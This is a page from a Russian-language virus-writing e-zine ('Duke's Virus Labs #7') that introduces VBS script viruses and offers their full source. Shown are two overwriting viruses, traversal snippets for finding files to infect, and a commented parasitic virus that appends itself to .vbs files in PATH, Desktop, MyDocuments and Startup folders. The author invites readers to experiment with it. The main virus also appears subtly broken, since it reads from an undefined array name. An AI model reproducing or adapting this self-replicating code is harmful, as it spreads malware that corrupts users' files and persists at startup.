- [Duke's Virus Labs #7] - [Page 14] - Несколько примеров VBS-вирусов (c) by Duke/SMF Понятием "вирус" сейчас трудно кого-либо удивить. Это стало достаточно обыденным явлением. Но последний год ознаменовался появлением нескольких семейств совершенно новых, доселе невиданных типов вирусов, которых и вообразить никто не мог. Я говорю о Java.*, VBS.*, HTML.* , mIRC_Worm.* и тому подобных вирусах. Все эти вирусы являются скриптовыми вирусами, т.е. существующие в виде исходных текстов и интерпретируемые тем или иным приложением (например Internet Explorer, mIRC или Windows 98 :) Поэтому эти вирусы являются дальними родственниками BAT и macro вирусов. Эти вирусы удивили (если не потрясли) весь компьютерный мир, наделали шума, но остались малоизученными - широким массам о них известно очень мало (иногда только то, что такие вирусы ЕСТЬ... ). Одним из "родителей" семейств HTML и VBS является 1nternal - один из лучших специалистов мировой VX сцены по скриптовым вирусам. Я также был замечен на тяге к разнообразнейшим скриптам ;-) поэтому хочу познакомить широкие читательские массы с одним из скриптовых семейств - с VBS-вирусами. Почему эти вирусы называются VBS ? Да потому что они написаны на языке Visual Basic Script и живут в файлах с расширением VBS. VBS является нововведением фирмы Microsoft - VBS-файлы под Windows 98 выполняются подобно BAT-файлам в DOS. Как только появилась новая Windows - появились новые вирусы. (Такое впечатление, что Microsoft работает специально для вирмейкеров. Они создали сто-О-олько вирусных полигонов ! Все приложения Office всех версий, Internet Explorer, Windows 98... Так держать ! ;-))) Первые VBS-вирусы написал Lord Natas/CB. Они получили название Rabbit за свою плодовитость. А все потому, что по сути это были BAT-вирусы на новый лад. Это были простые оверврайты. Вот на что они были похожи : ===== begin vbs_1.vbs ===== Set WshShell = Wscript.CreateObject("Wscript.Shell") CP = WshShell.ExpandEnvironmentStrings("%COMSPEC%") WshShell.Run (CP & " /c for %%v in (*.vbs) do copy /y " & Wscript.ScriptFullName & " %%v>nul"), vbHide 'VBS.First.a by Duke/SMF ===== end vbs_1.vbs ===== Можно записать и так : ===== begin vbs_2.vbs ===== Set WshShell = Wscript.CreateObject("Wscript.Shell") Set WshSysEnv = WshShell.Environment("Process") CP = WshSysEnv("comspec") WshShell.Run (CP & " /c for %%v in (*.vbs) do copy /y " & Wscript.ScriptFullName & " %%v>nul"), vbHide 'VBS.First.b by Duke/SMF ===== end vbs_2.vbs ===== Эти вирусы демонстрируют, как можно разными способами взять переменную окружения. А вот и несколько трюков, которые можно применить в VBS-вирусах. Рекурсивный обход каталогов: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sub RecursiveFolderScan(TheFolder) Dim MoreFolders, TempFolder ' <= чего-нибудь вытворяете в этой директории Set MoreFolders = FSO.GetFolder(TheFolder).SubFolders For Each TempFolder In MoreFolders RecursiveFolderScan TempFolder Next End Sub Перебор дисков: ~~~~~~~~~~~~~~~ Здесь главное не напороться на CD, поэтому надо проверять тип диска DriveType. Dim DriveList, Drive Set FSO = CreateObject("Scripting.FileSystemObject") Set DriveList = FSO.Drives For Each Drive in DriveList If Drive.DriveType = 2 Or Drive.DriveType = 3 then RecursiveFolderScan Drive & "\" Next На суд читателей я предлагаю паразитический VBS-вирус, поражающий VBS-файлы в каталогах переменной окружения PATH и текущей директории, а также в системных каталогах Desktop, MyDocuments (вирус писался с рассчетом на работоспособность во всем мире :)) и Startup. Я подробно откомментировал исходный текст, чтобы было понятно всем и мне не пришлось рассказывать о принципах работы вируса. Читайте комментарии, эксперементируйте и... enjoy одним словом ;-) ===== begin vbs_mb_c.vbs ===== '^ On Error Resume Next Dim FSO, Vir, SI Dim Bug(200) 'массив из строк для списка каталогов Dim TP 'текущая позиция ячейки в массиве Set WSHShell = Wscript.CreateObject("Wscript.Shell") Set WshSysEnv = WSHShell.Environment("Process") MB11 = WshSysEnv("Path") 'переменная окружения PATH Set FSO = CreateObject("Scripting.FileSystemObject") FN = Wscript.ScriptFullName 'путь до текущего файла ' Создаем массив Bug со списком каталогов пути ' SI - символ TP = 1 For x = Len(MB11) To 1 Step -1 SI = Mid(MB11, x, 1) If SI <> ";" Then Bug(TP) = SI + Bug(TP) ElseIf SI = ";" Then Bug(TP) = Bug(TP) + "\" TP = TP + 1 End If Next Bug(TP) = Bug(TP) + "\" Bug(TP + 1) = WSHShell.SpecialFolders("Desktop") + "\" Bug(TP + 2) = WSHShell.SpecialFolders("MyDocuments") + "\" Bug(TP + 3) = WSHShell.SpecialFolders("Startup") + "\" Bug(TP + 4) = Left(FN, InStrRev(FN, "\")) 'Buf - буфер для тела вируса 'Met - метка начала вируса 'Vir - чистый вирус Set TS = FSO.OpenTextFile(FN, 1) 'открыли для чтения файл с вирусом Buf = TS.ReadAll 'считали файл в Buf TS.Close 'закрыли файл Met = Chr(94) 'метка для проверки endMet = "'" & Met 'полная начальная метка For x = Len(Buf) To 1 Step -1 'Начиная с конца проверяем Buf If Mid(Buf, x, 1) = Met Then 'Если дошли до метки, то вирус выделен x = 1 Vir = endMet + Vir ElseIf Mid(Buf, x, 1) <> Met Then 'Если до метки не дошли, то добавляем Vir = Mid(Buf, x, 1) + Vir 'текущий символ в телу вируса End If Next 'TS - поражаемый файл 'Body - тело жертвы For y = 1 To (TP + 4) 'перебор списка каталогов For Each Target In FSO.GetFolder(MB5(y)).Files 'перебор всех файлов в каталоге If UCase(Right(Target.Name, 3)) = "VBS" Then 'если *.VBS Body = "" Set TS = FSO.OpenTextFile(MB5(y) & Target.Name, 1) 'открыли для чтения Body = TS.ReadAll 'считали тело жертвы TS.Close 'закрыли жертву If mid(Body,len(Body),1) <> "F" Then 'Проверяем жертву на зараженность Set TS = FSO.OpenTextFile(MB5(y) & Target.Name, 8) 'открыли для дополнения TS.Write Vir 'записали вирус TS.Close 'закрыли жертву End If End If Next Next 'VBS.MB by Duke/SMF ===== end vbs_mb_c.vbs =====